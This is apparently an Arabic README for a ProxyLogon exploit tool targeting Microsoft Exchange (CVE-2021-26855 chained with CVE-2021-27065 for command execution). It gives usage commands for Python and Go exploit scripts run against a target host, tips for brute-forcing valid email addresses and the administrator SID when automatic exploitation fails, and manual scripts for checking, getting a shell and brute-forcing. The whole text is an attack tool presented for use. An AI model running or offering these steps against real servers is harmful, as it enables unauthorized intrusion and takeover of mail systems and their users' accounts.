ProxyLogon

ProxyLogon هو الاسم العام الرسمي لـ CVE-2021-26855، وهي ثغرة أمنية في خادم Microsoft Exchange تسمح للمهاجم بتجاوز المصادقة وانتحال هوية المسؤول. قمنا أيضًا بربط هذه الثغرة بثغرة أخرى لكتابة ملف عشوائي بعد المصادقة، وهي CVE-2021-27065، للحصول على تنفيذ الأوامر.

ProxyLogon For Python3

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

ProxyLogon For Go

usage:
    go run proxylogon.go -u target.com -e [email protected]

نصائح:

1. استطلاع الهدف للعثور على عنوان بريد إلكتروني صالح
2. إذا لم تجد أي بريد إلكتروني، استخدم القوة العمياء على الهدف باستخدام ملف البريد الإلكتروني الخاص بك.
3. في بعض الأهداف، لا يعمل الاستغلال الأوتوماتيكي، يجب عليك استخدام القوة العمياء على SID واستبداله في SID=500

اختبار الاختراق اليدوي

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

المراجع

• proxylogon